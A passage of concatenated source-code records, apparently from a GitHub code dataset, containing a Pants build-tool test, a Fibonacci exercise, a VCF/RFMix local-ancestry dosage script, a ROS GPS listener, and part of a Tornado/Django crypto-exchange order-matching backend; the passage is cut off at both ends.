\"sources\": [],\n \"tags\": null\n }\n ]\n \"\"\"\n ),\n id=\"single-files-target/include-defaults\",\n ),\n pytest.param(\n [\n Files(\n {\"sources\": [\"*.txt\"], \"tags\": [\"zippable\"]},\n Address(\"example\", target_name=\"files_target\"),\n ),\n ArchiveTarget(\n {\n \"output_path\": \"my-archive.zip\",\n \"format\": \"zip\",\n \"files\": [\"example:files_target\"],\n },\n Address(\"example\", target_name=\"archive_target\"),\n ),\n ],\n True,\n dedent(\n \"\"\"\\\n [\n {\n \"address\": \"example:files_target\",\n \"target_type\": \"files\",\n \"sources\": [\n \"*.txt\"\n ],\n \"tags\": [\n \"zippable\"\n ]\n },\n {\n \"address\": \"example:archive_target\",\n \"target_type\": \"archive\",\n \"files\": [\n \"example:files_target\"\n ],\n \"format\": \"zip\",\n \"output_path\": \"my-archive.zip\"\n }\n ]\n \"\"\"\n ),\n id=\"single-files-target/exclude-defaults\",\n ),\n ],\n)\ndef test_render_targets_as_json(targets, exclude_defaults, expected_output):\n actual_output = peek._render_json(targets, exclude_defaults)\n assert actual_output == expected_output\n\n\n@pytest.fixture\ndef rule_runner() -> RuleRunner:\n return RuleRunner(rules=peek.rules(), target_types=[Files])\n\n\ndef test_raw_output_single_build_file(rule_runner: RuleRunner) -> None:\n rule_runner.add_to_build_file(\"project\", \"# A comment\\nfiles(sources=[])\")\n result = rule_runner.run_goal_rule(Peek, args=[\"--output=raw\", \"project\"])\n expected_output = dedent(\n \"\"\"\\\n -------------\n project/BUILD\n -------------\n # A comment\n files(sources=[])\n \"\"\"\n )\n assert result.stdout == expected_output\n\n\ndef test_raw_output_two_build_files(rule_runner: RuleRunner) -> None:\n rule_runner.add_to_build_file(\"project1\", \"# A comment\\nfiles(sources=[])\")\n rule_runner.add_to_build_file(\"project2\", \"# Another comment\\nfiles(sources=[])\")\n result = rule_runner.run_goal_rule(Peek, args=[\"--output=raw\", \"project1\", \"project2\"])\n expected_output = dedent(\n \"\"\"\\\n --------------\n project1/BUILD\n --------------\n # A comment\n files(sources=[])\n\n --------------\n project2/BUILD\n --------------\n # Another comment\n files(sources=[])\n \"\"\"\n )\n assert result.stdout == expected_output\n\n\ndef test_raw_output_non_matching_build_target(rule_runner: RuleRunner) -> None:\n rule_runner.add_to_build_file(\"some_name\", \"files(sources=[])\")\n result = rule_runner.run_goal_rule(Peek, args=[\"--output=raw\", \"other_name\"])\n assert result.stdout == \"\"\n\n\ndef test_standard_json_output_non_matching_build_target(rule_runner: RuleRunner) -> None:\n rule_runner.add_to_build_file(\"some_name\", \"files(sources=[])\")\n result = rule_runner.run_goal_rule(Peek, args=[\"other_name\"])\n assert result.stdout == \"[]\\n\"\n","repo_name":"williamscs/pants","sub_path":"src/python/pants/backend/project_info/peek_test.py","file_name":"peek_test.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"43105110415","text":"import sys\ninput = sys.stdin.readline\nfrom collections import deque\n\nd = [0 for _ in range(41)]\n\nd[1] = 1\nd[2] = 1\nn = int(input().strip())\n\ndef fibo(x):\n if d[x] == 0:\n if x == 1 and x == 2 :\n return 1\n else:\n d[x] = fibo(x-1)+fibo(x-2)\n return d[x]\n else:\n return d[x]\n\nfor _ in range(n):\n innum = int(input().strip())\n if innum == 0:\n print(\"1 0\")\n elif innum == 1:\n print(\"0 1\")\n else:\n print(fibo(innum-1), fibo(innum),sep=' ')","repo_name":"remerer/AlgorithmStorage","sub_path":"1003.py","file_name":"1003.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34975314343","text":"#!/usr/bin/env python3\n\n#################\n# Version 0.3 ###\n#################\n\n# Added option to include a set of sample ID's as an inclusion criteria.\n# Added option to only consider chunks of a given chromosome.\n\n#################\n\n#################\n# Version 0.2 ###\n#################\n\n# Changed output file format from rows:subjects columns:variants to rows:variants and columns:subjects #\n# Implemented writing output file in chunks. #\n# Implemented local-ancestry minor allele count filtering. # \n\n#################\nimport pysam\nimport pandas as pd\nimport time\nimport numpy as np\nimport itertools as it\nimport sys\nimport argparse\n\ndef parse():\n\tparser = argparse.ArgumentParser(\n\t\tdescription = \"Combine haplotype dosage values with local ancestry estimates from RFMix.\")\n\n\tparser.add_argument(\"--local-ancestry\", action = \"store\", type=str, required = True,\n\t\t\t\thelp = \"The RFMix generated .msp.tsv.gz file subset to only analysis subjects.\")\n\tparser.add_argument(\"--vcf\", action = \"store\", type=str, required = True,\n\t\t\t\thelp = \"VCF file containing Minimac4 style HDS dosages.\")\n\tparser.add_argument(\"--keep\", action = \"store\", type = str, required = False, \n\t\t\t\thelp = \"Tab delimited file of sample ID's matching those in the .vcf and RFMix files.\")\n\tparser.add_argument(\"--remove\", action = \"store\", type = str, required = False, \n\t\t\t\thelp = \"Tab delimited file of sample ID's to remove.\")\n\tparser.add_argument(\"--include\", action = \"store\", type = str, required = False,\n\t\t\t\thelp = \"Tab delimited file of variant ID's to include.\")\n\tparser.add_argument(\"--chr\", action = \"store\", type = str, required = False, default = None)\n\tparser.add_argument(\"--pos-start\", action = \"store\", type = int, required = False, default = None)\n\tparser.add_argument(\"--pos-stop\", action = \"store\", type = int, required = False, default = None)\n\tparser.add_argument(\"--out\", action = \"store\", type=str, required = True, \n\t\t\t\thelp = \"Out file name for LA Dosage file (no suffix needed)\")\n\tparser.add_argument(\"--la-dosage-threshold\", action = \"store\", type = int, default = 10, \n\t\t\t\thelp = \"Threshold for filtering variants. At least one ancestry group must have k individuals with the minor allele.\")\n\n\treturn parser.parse_args()\n\nargs = parse()\n\n\n#Read in RFMix local ancestry data.\nrf = pd.read_csv(args.local_ancestry, sep = \"\\t\")\n\n#Create pysam VCF object.\nvcf = pysam.VariantFile(args.vcf)\n\nprint(\"Creating sample vectors\")\nsamples = list(vcf.header.samples)\n\nif args.keep is not None:\n\tkeep_ids = [line.rstrip() for line in open(args.keep)]\n\tsamples = [s for s in samples if s in keep_ids ]\n\nif args.remove is not None:\n\tremove_ids = [line.rstrip() for line in open(args.remove)]\n\tsamples = [s for s in samples if s not in remove_ids ]\n\nif args.include is not None:\n\tinclude_snps = [line.rstrip() for line in open(args.include)]\n\n\nvcf_sample_index = [ i for i,s in enumerate(list(vcf.header.samples)) if s in samples]\nrf_sample_index =[ i for i,col in enumerate(rf.columns.values) if col.split(\".\")[0] in samples ]\n\n\nprint(\"Subsetting rf file on samples\")\n#Subset rf file on samples.\nrf = rf.iloc[:, [0,1,2] + rf_sample_index ]\n\n\nla_var_df_list = []\n\nstart = time.time()\ni=0\nchunk_out=1\nprint(\"Starting to read vcf file\")\nfor variant in vcf.fetch(contig = args.chr, start = args.pos_start, stop = args.pos_stop):\n\t#If include argument is included, check if variant in include_snps\n\tif args.include is not None:\n\t\tif not variant.id in include_snps:\n\t\t\tprint(\"Variant %s not in --include snps, moving to next variant\" % variant.id)\n\t\t\tcontinue\n\n\t#Check to see if the variant is covered by the RFMix intervals\n\tis_in=( rf[\"spos\"] <= variant.pos ) & ( variant.pos < rf[\"epos\"] )\n\n\t#If not, move on to the next variant\t\n\tif not any(is_in): \n\t\tprint(\"Variant %s not in RFMix output, moving to next variant\" % variant.id)\n\t\tcontinue\n\n\t#Otherwise, create a pandas dataframe\n\trow_names = [ variant.id + \"_AFR\", variant.id + \"_EUR\" ] \n\n\t#Create output dataframe with 2 rows and columns corresponding to the number of samples.\n\tla_var = pd.DataFrame(np.zeros((2, len(samples))), \n\t\t\t\tcolumns = samples, \n\t\t\t\tindex = row_names)\n\t#Check if variant has HDS dosage values\n\tif not (\"HDS\" in variant.format.keys()):\n\t\t#If we only have Genotypes, use those. Assume missing is 0.\n\t\tprint(\"Variant %s does not have HDS dosage values, only considering GT values\" % variant.id)\n\t\t#For each sample, check if HDS value is present. If so, return the hap1 HDS value. Otherwise, return the GT value.\n\t\thds_hap1 = [ x[\"GT\"][0] if (x[\"GT\"][0] is not None) else 0 for x in variant.samples.values() ]\n\t\t#Then subset to just samples we care about.\n\t\thds_hap1 = [ hds_hap1[i] for i in vcf_sample_index ]\n\n\t\t#Same process for hap2.\n\t\thds_hap2= [ x[\"GT\"][1] if (x[\"GT\"][1] is not None) else 0 for x in variant.samples.values() ]\n\t\thds_hap2 = [ hds_hap2[i] for i in vcf_sample_index ]\n\telse:\n\t\t#Use HDS if available. Assume missing is 0. Use GT if HDS is missing. Use 0 if both are missing. \n\t\t#For each sample, check if HDS value is present. If so, return the hap1 HDS value. Otherwise, return the GT value.\n\t\thds_hap1 = [ x[\"HDS\"][0] if (len(x['HDS'])==2) else x[\"GT\"][0] if (x[\"GT\"][0] is not None) else 0 for x in variant.samples.values() ]\n\t\t#Then subset to just samples we care about.\n\t\thds_hap1 = [ hds_hap1[i] for i in vcf_sample_index ]\n\t\n\t\t#Same process for hap2.\n\t\thds_hap2= [ x[\"HDS\"][1] if (len(x['HDS'])==2) else x[\"GT\"][1] if (x[\"GT\"][1] is not None) else 0 for x in variant.samples.values() ]\n\t\thds_hap2 = [ hds_hap2[i] for i in vcf_sample_index ]\n\n\n\t#Get corresponding row for RFMix data.\n\trf_interval = rf[( rf[\"spos\"] <= variant.pos ) & ( variant.pos < rf[\"epos\"] )]\n\n\t#Get column names corresponding to sample values\n\trf_cols = list(rf_interval.columns)[3:]\n\n\t#Get values for Hap1 estimates and Hap2 estimates.\n\trf_cols_hap1 = [col for col in rf_cols if \".0\" in col ]\n\trf_cols_hap2 = [col for col in rf_cols if \".1\" in col ]\n\n\trf_vals_hap1 = rf_interval[rf_cols_hap1].iloc[0,:]\n\trf_vals_hap2 = rf_interval[rf_cols_hap2].iloc[0,:]\n\n\t#Add the HAP1 HDS dosage values from AFR haplotypes to the AFR output column.\n\tla_var.loc[row_names[0], list(rf_vals_hap1 == 0)] = np.add(la_var.loc[row_names[0],list(rf_vals_hap1 == 0)],\n\t\t\t\t\t\t\t\tlist(it.compress(hds_hap1, list(rf_vals_hap1 == 0))))\n\n\t#Add the HAP2 HDS dosage values from AFR haplotypes to the AFR output column.\n\tla_var.loc[row_names[0], list(rf_vals_hap2 == 0)] = np.add(la_var.loc[row_names[0], list(rf_vals_hap2 == 0)],list(it.compress(hds_hap2, list(rf_vals_hap2 == 0))))\t\n\n\t#Add the HAP1 HDS dosage values from EUR haplotypes to the EUR output column.\n\tla_var.loc[row_names[1], list(rf_vals_hap1 == 1)] = np.add(la_var.loc[row_names[1], list(rf_vals_hap1 == 1)],list(it.compress(hds_hap1, list(rf_vals_hap1 == 1))))\n\n\t#Add the HAP2 HDS dosage values from EUR haplotypes to the EUR output column.\n\tla_var.loc[row_names[1], list(rf_vals_hap2 == 1)] = np.add(la_var.loc[row_names[1], list(rf_vals_hap2 == 1)],list(it.compress(hds_hap2, list(rf_vals_hap2 == 1))))\n\n\t#If a variant isn't observed in enough local-ancestry haplotypes, drop the variant.\n\n\t#Check if variant is observed in enough local-ancestry haplotypes in at least one ancestry group.\n\tif any(la_var.astype(bool).sum(axis = 1) >= args.la_dosage_threshold):\n\t\t#But remove any rows with no observations. \n\t\tkeep_rows=(la_var.astype(bool).sum(axis = 1) != 0)\n\t\tla_var = la_var.loc[keep_rows,:]\n\t\tla_var_df_list.append(la_var)\n\telse:\n\t\tprint(\"Variant %s does not pass la_dosage threshold\" % variant.id )\n\t\tcontinue\n\n\t# If i is divisible by 100\n\tif i % 500 == 0 and i > 0:\t\n\t\t\n\t\t#Combine all the dataframes so far\n\t\tout_df = pd.concat(la_var_df_list, axis = 0)\n\t\t#if it's the first time I'm doing this, write to a file with header\n\t\tif chunk_out == 1:\n\t\t\tprint(\"Writing chunk \" + str(chunk_out))\n\t\t\tout_df.to_csv(args.out + \".la_dosage.tsv.gz\", sep = \"\\t\", \n\t\t\t\tindex_label = \"SNP\", header = True)\n\t\t\tchunk_out += 1\n\t\t#Otherwise, append to the file and don't include headers.\n\t\telse: \n\t\t\tprint(\"Writing chunk \" + str(chunk_out))\n\t\t\tout_df.to_csv(args.out + \".la_dosage.tsv.gz\", sep = \"\\t\",\n\t\t\t\tindex_label = \"SNP\", header = False, mode = \"a\")\n\t\t\tchunk_out+=1\n\t\t\t\t\n\t\t#Then reset the la_var_df_list for the next chunk. \n\t\tla_var_df_list=[]\n\ti += 1\n\nif la_var_df_list == []:\n\tprint(\"No chunks to write. Ending.\")\n\tend = time.time()\n\tprint(end - start)\n\tsys.exit()\n\n#Then, write the last bit.\nout_df = pd.concat(la_var_df_list, axis = 0)\nif chunk_out == 1:\n\tprint(\"Writing chunk \" + str(chunk_out))\n\tout_df.to_csv(args.out + \".la_dosage.tsv.gz\", sep = \"\\t\",\n\t\tindex_label = \"SNP\", header = True)\nelse:\n\tprint(\"Writing chunk \" + str(chunk_out))\n\tout_df.to_csv(args.out + \".la_dosage.tsv.gz\", sep = \"\\t\",\n\t\tindex_label = \"SNP\", header = False, mode = \"a\")\n\nend = time.time()\nprint(end - start)\n\n\n\n","repo_name":"brycerowland/GAUDI","sub_path":"python/py_vcf_to_la.py","file_name":"py_vcf_to_la.py","file_ext":"py","file_size_in_byte":8783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26450405811","text":"#!/usr/bin/env python3\nimport rospy\nfrom sensor_msgs.msg import NavSatFix\n\n\ndef callback(data: NavSatFix):\n \"\"\"This is called when the publisher publishes a new gps info to\n the topic '/gps/fix' receiving the new published value as\n the variable data of type NavSatFix. To see the specification of the type\n NavSatFix run on the terminal the following command:\n ```\n rosmsg info sensor_msgs/NavSatFix\n ```\n \"\"\"\n rospy.loginfo(f'LATI = {data.latitude}, LONGI = {data.longitude}, ALTI = {data.altitude}')\n\n\nif __name__ == '__main__':\n rospy.init_node('task_gps_listener')\n rospy.Subscriber('/gps/fix', NavSatFix, callback)\n rospy.spin()\n\n\n","repo_name":"hellodiamalassana/parc","sub_path":"examples/gps_listener.py","file_name":"gps_listener.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8752153249","text":"# -*- coding: utf-8 -*-\n\nimport json\nfrom decimal import Decimal, getcontext\nimport logging\nimport traceback\nimport calendar\nimport time\nimport tornado.ioloop\n# from tornaduv import UVLoop\nimport sys\nimport Queue \nimport copy\n\nimport tornado.web\n# import tornaduv\n# import pyuv\nimport threading\n# Create your views here.\n\n\nfrom django.template import Context, loader\nfrom crypton.http import HttpResponse\nfrom crypton import settings\nfrom django.utils.translation import ugettext as _\nfrom django.utils import formats\n\nfrom django.db import connection\nfrom django.contrib.auth.models import User\nfrom main.models import UserCustomSettings, VolatileConsts, OrdersMem, Accounts, TradePairs, Orders, Trans, Currency, \\\n Msg, add_trans, TransError, StockStat, OnlineUsers\n\nfrom main.api_http_common import caching, cached_json_object, my_cache, status_false, json_auth_required, check_api_sign\nfrom main.api_http_common import format_numbers10, format_numbers_strong, format_numbers, format_numbers4, \\\n json_false500, json_true\n\n \n\nfrom datetime import datetime, timedelta\nfrom main.account import get_account\n\nlogger_application = logging.getLogger('tornado.application')\n\nfrom main.models import dictfetchall, to_prec, OrderTimer, add_trans2, DealsMemory\nfrom main.msgs import system_notify\n\nfrom main.my_cache_key import my_lock, LockBusyException, check_freq, my_release\n\nfrom crypton.http import MemStore\nfrom main.tornado.api_queue import process_delayed_operation \n\n\nclass TornadoServer(object):\n # статический экземпляр этого класса, всегда один\n # доступ к нему только через TornadoServer.get_instance()\n _instance = None\n\n @classmethod\n def get_instance(cls):\n \"\"\"\n Возвращает экземпляр ядра, если оно создано.\n :rtype : Core\n \"\"\"\n if not cls._instance:\n raise RuntimeError('core is not created')\n return cls._instance\n\n @classmethod\n def is_created(cls):\n \"\"\"\n Создано ли ядро?\n :rtype : bool\n \"\"\"\n return cls._instance is not None\n\n @classmethod\n def create_instance(cls, *args):\n \"\"\"\n Создаёт и возвращает объект \n :rtype : Core\n \"\"\"\n logger_application.info('creatpring tornado instance')\n cls._instance = TornadoServer(*args)\n logger_application.info('core created: {0}'.format(cls._instance))\n return cls._instance\n\n\n def __init__(self, *args):\n self.port = args[0]\n self.application = tornado.web.Application(args[1])\n self.queue_enabled = args[2]\n # self.core_event_loop = pyuv.Loop.default_loop()\n self.memstore = MemStore.create_instance(is_local=False)\n SizeQueue = 5000\n SubscribeCountRead = 100\n self.queue1 = Queue.Queue(SizeQueue)\n self.task_archive = tornado.ioloop.PeriodicCallback( lambda: processed_orders2deals(), 1000*20)\n self.task_memtrans2trans = tornado.ioloop.PeriodicCallback( lambda: process_queue(self.queue1, SubscribeCountRead, process_delayed_operation), 500)\n \n \n # tornado.ioloop.IOLoop.configure(UVLoop)\n # tornado.ioloop.IOLoop.current().initialize(self.core_event_loop)\n\n # start eventloop, webserver and periodic reading\n def start(self):\n self.application.listen(self.port)\n if self.queue_enabled:\n self.task_archive.start()\n self.task_memtrans2trans.start()\n\n self.main_loop = tornado.ioloop.IOLoop.instance() \n self.main_loop.start()\n\ndef put2queue(some_object):\n backend = TornadoServer.get_instance()\n try:\n backend.queue1.put(copy.deepcopy(some_object), False)\n return True\n except Queue.Full:\n logger_application.error(\"=\"*60)\n logger_application.error(\"WARNING\") \n logger_application.error(\"so sad there is not avalible slot\")\n return False\n except:\n logger_application.critical(traceback.format_exc())\n \n \nclass StopHandler(tornado.web.RequestHandler):\n def get(self):\n logger_application.info(\"stoping tornado\")\n tornado.ioloop.IOLoop.instance().stop()\n\n \n \n# user_id = models.IntegerField()\n# type_deal = models.CharField(max_length=40, choices=TYPE, default='buy', verbose_name=u\"Тип\")\n# user = models.CharField(max_length=255, verbose_name=u\"Username\")\n# price = models.DecimalField(max_digits=20,\n# blank=True,\n# decimal_places=10, verbose_name=u\"цена\")\n\n #decimal_places=10, verbose_name=u\"сумма в базовой валюте\")\n #amnt_trade = models.DecimalField(max_digits=20,\n #blank=True,\n #decimal_places=10, verbose_name=u\n #amnt_base = models.DecimalField(max_digits=20,\n #blank=True,\"сумма в валюты торга\")\n #pub_date = models.DateTimeField(auto_now=True, verbose_name=u\"Дата \")\n #trade_pair = models.IntegerField(verbose_name=u\"Валютная пара\")\n\n \n# transaction from the deals to \n\n\n\n\n \n \n\ndef cache_control(Req):\n do = Req.REQUEST.get(\"do\", None)\n cache = caching()\n\n if do == \"flush\":\n return json_false500(Req)\n\n if do == \"get\":\n key = Req.REQUEST.get(\"key\")\n return HttpResponse(str(cache.get(key,\"\")))\n\n if do == \"del\":\n key = Req.REQUEST.get(\"key\")\n value = str(cache.get(key,\"\"))\n cache.delete(key)\n return HttpResponse(value)\n\n return json_false500(Req) \n\n \ndef canceled_orders2deals(Order2Remove):\n (amnt_base, amnt_trade) = (0, 0) \n if (Order2Remove.sum1_history - Order2Remove.sum1)>0:\n \n if Order2Remove.type_deal == \"sell\" :\n amnt_base = (Order2Remove.sum1_history - Order2Remove.sum1 )* Order2Remove.price\n amnt_trade = Order2Remove.sum1_history - Order2Remove.sum1\n \n if Order2Remove.type_deal == \"buy\":\n amnt_base = Order2Remove.sum1_history - Order2Remove.sum1 \n amnt_trade = (Order2Remove.sum1_history - Order2Remove.sum1)/Order2Remove.price\n \n user = User.objects.get(id = Order2Remove.user)\n \n \n deal = DealsMemory(type_deal = Order2Remove.type_deal,\n user = user.username,\n user_id = Order2Remove.user,\n price = Order2Remove.price, \n amnt_base = amnt_base, \n amnt_trade = amnt_trade,\n trade_pair = Order2Remove.trade_pair)\n \n deal.save() \n \n \n \ndef processed_orders2deals():\n logger_application.info(\"cache deals\")\n for item in OrdersMem.objects.filter(status=\"processed\"):\n (amnt_base, amnt_trade) = (0,0)\n if item.type_deal == \"sell\" :\n amnt_base = item.sum1_history * item.price\n amnt_trade = item.sum1_history\n if item.type_deal == \"buy\":\n amnt_base = item.sum1_history \n amnt_trade = item.sum1_history/item.price\n \n if item.type_deal == \"transfer\":\n item.archive()\n continue\n \n user = User.objects.get(id = item.user)\n deal = DealsMemory(type_deal = item.type_deal,\n user = user.username,\n user_id = item.user,\n price = item.price, \n amnt_base = amnt_base, \n amnt_trade = amnt_trade,\n trade_pair = item.trade_pair)\n deal.save()\n \n item.archive()\n item.delete()\n \ndef process_queue(q, read_count, function_to_process=None):\n logger_application.info(\"process inner queue\")\n \n for i in xrange(1, read_count):\n \n try:\n item = q.get(False) \n if function_to_process:\n function_to_process(item)\n \n q.task_done()\n except Queue.Empty:\n return True\n except:\n logger_application.critical(\"something wrong with process queue \\n\" + traceback.format_exc() )\n \n \n \ndef my_async(func2decorate):\n def wrapper(*args, **kwards):\n callable_object = lambda: func2decorate(*args, **kwards)\n threading.Thread(target=callable_object).start()\n return True\n return wrapper\n\n\ndef deposit_funds(Order, currency1):\n return _(u\"Deposit funds %(sum)s %(currency)s according with order #%(order_id)i \" % {\n 'sum': Order.sum1_history,\n 'currency': currency1.title,\n 'order_id': Order.id})\n\n\ndef order_canceled(Order):\n return _(u\"You order #%(order_id)i is canceled\" % {'order_id': int(Order)})\n \n \ndef order_finish(Order):\n return _(u\"You order #%(order_id)i is fully completed\" % {'order_id': Order.id})\n\n\ndef order_return_unused(Order, Currency1, AccumSumToSell):\n return _(u\"Return %(sum).8f %(currency)s unused funds according with order #%(order_id)i \" %\n {'sum': AccumSumToSell,\n 'currency': str(Currency1),\n 'order_id': Order.id})\n\n\ndef order_description_buy(Sum1, Sum2, Order, BackOrder, TradePair):\n Price = BackOrder.price\n\n return _(\"Buying %(sum).8f %(currency)s according with order #%(order_id)i, price %(price).8f total sum %(total).8f\" %\n {'sum': Sum1,\n 'currency': str(TradePair.currency_on),\n 'order_id': BackOrder.id,\n 'price': Price,\n 'total': Sum2\n })\n \ndef order_description_sell(Sum1, Sum2, Order, BackOrder, TradePair):\n Price = Order.price\n return _(\"Selling %(sum).8f %(currency)s according with order #%(order_id)i, price %(price).8f total sum %(total).8f \" %\n {'sum': Sum1,\n 'currency': str(TradePair.currency_on),\n 'order_id': Order.id,\n 'price': Price,\n 'total': Sum2\n })\n\n# process order item that match order AccumSumToSell=>7000UAH AccountBuyer BTC Accountc\n# OrderBuy order of buying BTC sum1 is for exmaple 1 BTC , OrderSell 7000UAH selling\n# OrderSell - is a source order\n# Account seller is a source account\ndef process_order_buy(AccountSeller, AccumSumToSell, OrderBuy, OrderSell, TradePair):\n ## TODO move to settings for every user\n logger_application.info(\"=\"*120)\n logger_application.info(OrderSell)\n logger_application.info(\"=\"*120)\n logger_application.info(AccountSeller) \n logger_application.info(\"buy %s \" % (AccumSumToSell))\n logger_application.info(OrderBuy)\n logger_application.info(\"=\"*120)\n\n # TODO add salt verify, notify me\n if False and not OrderBuy.verify(str(OrderBuy.user)):\n logger_application.critical(\"Sign FAILED %s\" % str(OrderBuy))\n return AccumSumToSell\n\n # OrderBuy.sum1*OrderBuy.price\n # 1.9 *7000 = 13000 UAH\n # OrderBuySum UAH for BTC\n OrderBuySum = OrderBuy.sum1*OrderBuy.price\n if OrderBuySum > AccumSumToSell:\n logger_application.info(\"buy case 1\")\n ## a danger of low overflow\n TransSum = AccumSumToSell/OrderBuy.price\n AccountBuyer = get_account(user_id=OrderBuy.user, currency_id=OrderSell.currency1)\n ##comission\n trans1 = add_trans2(AccountBuyer,\n AccumSumToSell*-1,\n OrderSell.currency1,\n OrderSell,\n \"deal\",\n True, \n OrderBuy.comission)\n\n trans2 = add_trans2(AccountSeller,\n TransSum*-1,\n OrderBuy.currency1,\n OrderBuy,\n \"deal\",\n True, \n OrderSell.comission)\n # TODO move to queue\n\n try:\n put2queue(('deal', trans1, TradePair, OrderBuy))\n put2queue(('deal', trans2, TradePair, OrderSell))\n \n system_notify_async(order_description_sell(TransSum, OrderBuySum, OrderBuy, OrderSell, TradePair),\n AccountBuyer.get_user())\n \n system_notify_async(order_description_buy(TransSum, OrderBuySum, OrderBuy, OrderSell, TradePair),\n AccountSeller.get_user())\n except:\n logger_application.critical(\"something gooing wrong with notification\" + traceback.format_exc())\n pass\n \n return 0\n\n if OrderBuySum <= AccumSumToSell:\n logger_application.info(\"buy case 2\")\n TransSum = OrderBuy.sum1\n AccountBuyer = get_account(user_id=OrderBuy.user, currency_id=OrderSell.currency1)\n ##comission\n\n trans1 = add_trans2(AccountBuyer,\n OrderBuySum*-1,\n OrderSell.currency1,\n OrderSell,\n \"deal\",\n True,\n OrderBuy.comission)\n\n trans2 = add_trans2(AccountSeller,\n TransSum*-1,\n OrderBuy.currency1,\n OrderBuy,\n \"deal\",\n True, \n OrderSell.comission)\n # TODO move to queue\n try:\n put2queue(('deal', trans1, TradePair, OrderBuy))\n put2queue(('deal', trans2, TradePair, OrderSell))\n system_notify_async(order_description_sell(TransSum, OrderBuySum, OrderBuy, OrderSell, TradePair),\n AccountBuyer.get_user())\n system_notify_async(order_description_buy(TransSum, OrderBuySum, OrderBuy, OrderSell, TradePair),\n AccountSeller.get_user())\n system_notify_async(order_finish(OrderBuy), AccountBuyer.get_user())\n\n except:\n logger_application.critical(\"somthing gooing wrong with notification\" + traceback.format_exc())\n pass\n OrderBuy.make2processed()\n return AccumSumToSell-OrderBuySum\n\n\n# process order item that match order Order AccumSumToSell=>1BTC AccountSeller UAH Accounts\n# OrderBuy order of buying BTC sum1 is for exmaple 7000 UAH , OrderSell 1 BTC selling\ndef process_order_sell(AccountSeller, AccumSumToSell, OrderBuy, OrderSell, TradePair):\n ## TODO move to settings for every user\n logger_application.info(\"=========================================================================================\")\n logger_application.info(OrderSell)\n logger_application.info(AccountSeller)\n logger_application.info(\"sell %s\" % (AccumSumToSell))\n logger_application.info(OrderBuy)\n logger_application.info(\"=========================================================================================\")\n \n # TODO add salt verify, notify me\n if False and not OrderBuy.verify(str(OrderBuy.user)):\n logger_application.info(\"Sign FAILED %s\" % str(OrderBuy))\n return AccumSumToSell\n # 7000/3600 = 1.9 BTC\n OrderBuySum = OrderBuy.sum1/OrderSell.price\n if OrderBuySum > AccumSumToSell:\n ## a danger of low overflow\n logger_application.info(\"sell case 1\")\n TransSum = AccumSumToSell*OrderSell.price\n \n AccountBuyer = get_account(user_id=OrderBuy.user, currency_id=OrderSell.currency1)\n ##comission\n \n trans1 = add_trans2(AccountBuyer,\n AccumSumToSell*-1,\n OrderSell.currency1,\n OrderSell,\n \"deal\",\n True,\n OrderBuy.comission)\n\n trans2 = add_trans2(AccountSeller,\n TransSum*-1,\n OrderBuy.currency1,\n OrderBuy,\n \"deal\",\n True,\n OrderSell.comission) \n # TODO move to queue\n try:\n put2queue(('deal', trans1, TradePair, OrderSell))\n put2queue(('deal', trans2, TradePair, OrderBuy))\n \n system_notify_async(order_description_sell(AccumSumToSell, TransSum, OrderSell, OrderBuy, TradePair),\n AccountSeller.get_user())\n system_notify_async(order_description_buy(AccumSumToSell, TransSum, OrderSell, OrderBuy, TradePair),\n AccountBuyer.get_user())\n except:\n logger_application.critical(\"something gooing wrong with notification\" + traceback.format_exc())\n pass\n\n \n return 0\n\n if OrderBuySum <= AccumSumToSell:\n logger_application.info(\"sell case 2\")\n TransSum = OrderBuy.sum1\n AccountBuyer = get_account(user_id=OrderBuy.user, currency_id=OrderSell.currency1)\n ##comission\n trans1 = add_trans2(AccountBuyer,\n OrderBuySum*-1,\n OrderSell.currency1,\n OrderSell,\n \"deal\",\n True,\n OrderSell.comission)\n \n trans2 = add_trans2(AccountSeller,\n TransSum*-1,\n OrderBuy.currency1,\n OrderBuy,\n \"deal\",\n True,\n OrderBuy.comission)\n # TODO move to queue\n try:\n put2queue(('deal', trans1, TradePair, OrderSell))\n put2queue(('deal', trans2, TradePair, OrderBuy))\n system_notify_async(order_description_sell(OrderBuySum, TransSum, OrderSell, OrderBuy, TradePair), AccountSeller.get_user())\n system_notify_async(order_description_buy(OrderBuySum, TransSum, OrderSell, OrderBuy, TradePair), AccountBuyer.get_user())\n system_notify_async(order_finish(OrderBuy), AccountBuyer.get_user())\n\n except:\n logger_application.critical(\"somthing gooing wrong with notification\" + traceback.format_exc())\n pass\n \n OrderBuy.make2processed()\n return AccumSumToSell - OrderBuySum\n\ndef admin_system_notify_async(cortage):\n pass\n\n\ndef auth(Req):\n Nonce = Req.REQUEST.get(\"nonce\", None)\n if Nonce is None:\n return json_false500(Req)\n\n Sign = Req.META.get('HTTP_API_SIGN', None)\n\n if Sign is None:\n return json_false500(Req, {\"description\": \"invalid_params\", \"key\": \"api_sign\"})\n\n PublicKey = Req.META.get('HTTP_PUBLIC_KEY', None)\n if PublicKey is None:\n return json_false500(Req, {\"description\": \"invalid_params\", \"key\": \"public_key\"})\n\n try:\n Req.user = check_api_sign(PublicKey, Sign, Req.body)\n Cache = caching()\n Cache.set(\"nonce_\" + PublicKey, int(Nonce), 50000)\n Nonce = Cache.get(\"nonce_\" + PublicKey)\n return json_true(Req, {\"nonce\": Nonce, \"public_key\": PublicKey})\n except:\n logger_application.critical(traceback.format_exc())\n return json_false500(Req, {\"description\": \"auth_faild\"})\n\n\ndef make_auto_trade(OrderSell, TradePair, Price, Currency1, Sum1, Currency2):\n # if we sell\n # Query = \"SELECT * FROM main_ordersmem WHERE trade_pair_id=%i\" % (TradePair.id)\n logger_application.info(\"=\"*300)\n logger_application.info(\"call order\")\n logger_application.info(OrderSell)\n \n if int(TradePair.currency_on.id) == int(Currency1.id):\n Query = \"SELECT * FROM main_ordersmem WHERE currency1=%i AND trade_pair=%i \\\n AND status='processing' AND price >= %s \\\n AND user!=%i ORDER BY price DESC, id DESC\" % (Currency2.id,\n TradePair.id,\n format_numbers_strong(Price), OrderSell.user)\n else:\n Query = \"SELECT * FROM main_ordersmem WHERE currency1=%i AND trade_pair=%i \\\n AND status='processing' AND price <= 